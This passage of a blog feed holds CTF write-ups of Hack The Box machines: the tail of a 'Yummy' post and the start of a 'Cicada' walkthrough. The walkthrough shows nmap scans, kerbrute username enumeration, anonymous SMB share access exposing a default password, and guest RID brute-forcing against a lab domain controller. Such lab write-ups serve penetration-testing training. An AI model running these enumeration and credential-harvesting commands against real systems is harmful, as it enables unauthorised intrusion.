  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Yummy</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">root@yummy</span>:<span class="linux-path">~</span><span class="linux-char">#</span></span> <span class="linux-bash">cat root.txt</span>

<span class="linux-output">33ad4f1f************************</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<hr />]]></content><author><name></name></author><category term="HTB" /><category term="Linux" /><category term="Hard" /><summary type="html"><![CDATA[Yummy feels more CTF-like compared to recent HTB boxes. Foothold involves a rather complex attack chain combining path traversal, JWT forging, SQL injection and multiple cron job abuses. Once on the box, I’ll exploit Mercurial and abuse sudo rights to get a root shell.]]></summary></entry><entry><title type="html">HTB Machine - Cicada</title><link href="https://ch3ng625.github.io//cicada" rel="alternate" type="text/html" title="HTB Machine - Cicada" /><published>2025-02-16T00:00:00+00:00</published><updated>2025-02-16T00:00:00+00:00</updated><id>https://ch3ng625.github.io//cicada</id><content type="html" xml:base="https://ch3ng625.github.io//cicada"><![CDATA[<h2 id="summary">Summary:</h2>
<p>Cicada is a nice easy box for practicing Windows enumeration and attacks. Foothold involves using <code class="language-plaintext highlighter-rouge">netexec</code>, <code class="language-plaintext highlighter-rouge">ldapdomaindump</code> and Impacket scripts to retrieve multiple sets of credentials from SMB and LDAP, and eventually getting a shell with WinRM. Once on the box, I’ll abuse the Backup Operators group membership to retrieve <code class="language-plaintext highlighter-rouge">ntds.dit</code> and extract the admin hash for an elevated shell.</p>

<hr />
<h2 id="enumeration">Enumeration:</h2>
<h3 id="nmap">Nmap:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/cicada</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo nmap --min-rate 1000 -p- 10.129.198.55</span>
<span class="cmd-output">
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-02 01:22 ACST
Nmap scan report for 10.129.198.55
Host is up (0.33s latency).
Not shown: 65525 filtered tcp ports (no-response)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 199.19 seconds
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/cicada</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo nmap -A -p 53,88,135,139,389,445,636,3268,3269,5985 10.129.198.55 10.129.198.55</span>
<span class="cmd-output">
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-02 01:31 ACST
Nmap scan report for 10.129.198.55
Host is up (0.33s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-10-01 23:01:56Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
445/tcp  open  microsoft-ds?
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (88%)
Aggressive OS guesses: Microsoft Windows Server 2022 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m59s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-10-01T23:02:49
|_  start_date: N/A

TRACEROUTE (using port 53/tcp)
HOP RTT       ADDRESS
1   333.95 ms 10.10.14.1
2   332.37 ms 10.129.198.55

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 105.15 seconds
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>This is a pure domain controller with no web servers found. Common Windows services such as SMB, LDAP and Kerberos are all present.</p>

<h3 id="tcp88---kerberos">TCP88 - Kerberos:</h3>

<p>With Kerberos open, I’ll always run <code class="language-plaintext highlighter-rouge">kerbrute</code> in the background to enumerate usernames.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/cicada</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">kerbrute userenum -d cicada.htb --dc 10.129.198.55 -t 100 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt</span>
<span class="cmd-output">
&nbsp;
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,&lt; /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 10/02/24 - Ronnie Flathers @ropnop

2024/10/02 01:38:23 &gt;  Using KDC(s):
2024/10/02 01:38:23 &gt;  	10.129.198.55:88

2024/10/02 01:38:25 &gt;  [+] VALID USERNAME:	 guest@cicada.htb
2024/10/02 01:38:30 &gt;  [+] VALID USERNAME:	 administrator@cicada.htb
2024/10/02 01:39:09 &gt;  [+] VALID USERNAME:	 Guest@cicada.htb
2024/10/02 01:39:09 &gt;  [+] VALID USERNAME:	 Administrator@cicada.htb
2024/10/02 01:41:59 &gt;  [+] VALID USERNAME:	 GUEST@cicada.htb
2024/10/02 09:45:14 &gt;  Done! Tested 8295455 usernames (5 valid) in 29211.260 seconds
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Unfortunately in this case, no real users were found. However, it should be noted that the Guest account seems to be enabled.</p>

<h3 id="tcp445---smb">TCP445 - SMB:</h3>

<p>Anonymous access is enabled. Looks like there’s two custom shares: <code class="language-plaintext highlighter-rouge">Dev</code> and <code class="language-plaintext highlighter-rouge">HR</code>, which are both readable.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/cicada</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">netexec smb 10.129.198.55 -u 'Anonymous' -p '' --shares</span>
<span class="cmd-output">
SMB         10.129.198.55   445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.129.198.55   445    CICADA-DC        [+] cicada.htb\Anonymous: 
SMB         10.129.198.55   445    CICADA-DC        [+] Enumerated shares
SMB         10.129.198.55   445    CICADA-DC        Share           Permissions     Remark
SMB         10.129.198.55   445    CICADA-DC        -----           -----------     ------
SMB         10.129.198.55   445    CICADA-DC        ADMIN$                          Remote Admin
SMB         10.129.198.55   445    CICADA-DC        C$                              Default share
SMB         10.129.198.55   445    CICADA-DC        DEV                             
SMB         10.129.198.55   445    CICADA-DC        HR              READ            
SMB         10.129.198.55   445    CICADA-DC        IPC$            READ            Remote IPC
SMB         10.129.198.55   445    CICADA-DC        NETLOGON                        Logon server share 
SMB         10.129.198.55   445    CICADA-DC        SYSVOL                          Logon server share
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>I’ll connect to the share with <code class="language-plaintext highlighter-rouge">smbclient</code>.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/cicada</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">smbclient -U 'Anonymous' -N \\\\10.129.198.55\\HR</span>
<span class="cmd-output">
Try "help" to get a list of possible commands.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">smb: \&gt;</span></span> <span class="custom-cmd">dir</span>

<span class="custom-output">&nbsp;
  .                                   D        0  Thu Mar 14 22:59:09 2024
  ..                                  D        0  Thu Mar 14 22:51:29 2024
  Notice from HR.txt                  A     1266  Thu Aug 29 03:01:48 2024

		4168447 blocks of size 4096. 337353 blocks available</span>

<span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">smb: \&gt;</span></span> <span class="custom-cmd">get "Notice from HR.txt"</span>

<span class="custom-output">getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)</span></pre>
  </div>
</div>

<p>The share has a single text file, which contains a password.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp
</code></pre></div></div>

<p>Unless I have a list of valid usernames, the password alone isn’t quite useful.</p>

<h3 id="rpc-user-enumeration">RPC User Enumeration:</h3>

<p>Given I also have read access to the <code class="language-plaintext highlighter-rouge">IPC$</code> share, I can get a list of usernames by brute-forcing RIDs, as described in this <a href="https://medium.com/@e.escalante.jr/active-directory-workshop-brute-forcing-the-domain-server-using-crackmapexec-pt-6-feab1c43d970">blog post</a>. Valid credentials are needed normally, but I can use the enabled guest account here.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/cicada</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">netexec smb 10.129.198.55 -u 'guest' -p '' --rid-brute</span>
<span class="cmd-output">
SMB         10.129.198.55   445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.129.198.55   445    CICADA-DC        [+] cicada.htb\guest: 
SMB         10.129.198.55   445    CICADA-DC        [+] Brute forcing RIDs
SMB         10.129.198.55   445    CICADA-DC        498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.198.55   445    CICADA-DC        500: CICADA\Administrator (SidTypeUser)
SMB         10.129.198.55   445    CICADA-DC        501: CICADA\Guest (SidTypeUser)
SMB         10.129.198.55   445    CICADA-DC        502: CICADA\krbtgt (SidTypeUser)
SMB         10.129.198.55   445    CICADA-DC        512: CICADA\Domain Admins (SidTypeGroup)
SMB         10.129.198.55   445    CICADA-DC        513: CICADA\Domain Users (SidTypeGroup)
SMB         10.129.198.55   445    CICADA-DC        514: CICADA\Domain Guests (SidTypeGroup)
SMB         10.129.198.55   445    CICADA-DC        515: CICADA\Domain Computers (SidTypeGroup)
